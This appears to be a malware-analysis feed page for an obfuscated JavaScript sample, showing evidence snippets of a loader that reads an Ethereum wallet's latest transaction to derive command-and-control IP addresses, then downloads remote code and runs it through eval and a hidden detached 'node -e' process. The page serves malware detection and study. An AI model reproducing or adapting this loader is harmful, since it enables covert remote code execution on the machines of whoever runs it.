Hostile 99% javascript Download

variant-hex-strings.js

Ethereum XOR stage evaluated in processRecipient-derived C2 with XOR header staging
SHA-2561be60e4e5c21fa08348e7bff9416e39323a57f1ddaddcef12f71fbe125d7e7b2

Evidence

require module uses ASCII escapes line 1
1… x6c\x69\x63\x2e\x62\x6c\x61\x73\x74\x61\x70\x69\x2e\x69\x6f"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"\x68\x74\x74\x70\x3a":new http.Agent(O),"\x68\x74\x74\x70\x73\x3a":new https.Agent(O)};function ds(t){const n=(t.headers["\x63\x6f\x6e\x74\x65\x6e\x74\x2d\x65\x6e\x63\x6f\x64\x69\x6e\x67"]||"").toLowerCase(),f=n==="\x67\x7a\x69\x70"||n==="\x78\x2d\x67\x7a\x69\x70"?zlib.createGunzip:n==="\x64\x65\x66\x6c\x61\x74\x65"?zlib.createInflate:n==="\x62\x72"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="\x47\x45\x54",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\x68\x74\x74\x70\x73\x3a"?https:http,i={Accept:"\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e","\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67":"\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x2c\x20\x62\x72",Connection:"\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65"};e!=null&&(i["\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"]="\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e",i["\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\x68\x74\x74\x70\x73\x3a"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\x64\x61\x74\x61",t=>e.push(t));t.on("\x65\x6e\x64",()=>{const t=Buffer.concat(e).toString("\x75\x74\x66\x38").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\x3c"||t[0]!=="\x7b"&&t[0]!=="\x5b")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\x65\x72\x72\x6f\x72",r);});t.on("\x65\x72\x72\x6f\x72",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\x61\x62\x6f\x72\x74",()=>t.abort(),{once:!0} …
JavaScript mutates bytes with XOR line 1
1:4409… 61\x63\x74\x69\x6f\x6e\x43\x6f\x75\x6e\x74",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\x65\x74\x68\x5f\x62\x6c\x6f\x63\x6b\x4e\x75\x6d\x62\x65\x72",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"\x65\x74\x68\x5f\x67\x65\x74\x54\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x43\x6f\x75\x6e\x74",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"\x65\x74\x68\x5f\x67\x65\x74\x42\x6c\x6f\x63\x6b\x42\x79\x4e\x75\x6d\x62\x65\x72",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return n …
Hardcoded Windows browser User-Agent literal line 1
1:5527… t d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\x65\x74\x68\x5f\x62\x6c\x6f\x63\x6b\x4e\x75\x6d\x62\x65\x72",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\x68\x65\x78"),ip=b=>b[0]+"\x2e"+b[1]+"\x2e"+b[2]+"\x2e"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74":"\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x …
Calls a function named spawn line 1
1:7820… 5\x54").catch(()=>q("\x48\x45\x41\x44"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\x5f\x48":"\x5f\x74\x5f\x73"}']='${e?g._H:g._t_s}';global['${e?"\x5f\x48\x32":"\x5f\x74\x5f\x75"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("\x6e\x6f\x64\x65",["\x2d\x65",r+o],{detached:!0,stdio:"\x69\x67\x6e\x6f\x72\x65",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\x71\x34\x46\x5a\x6b\x78\x58\x7b\x21\x68\x2c\x53\x72\x33\x3d\x40",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\x79\x2d\x70\x5f\x3e\x64\x24\x30\x42\x26\x40\x5e\x31\x61\x51\x6b",!0);})();

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.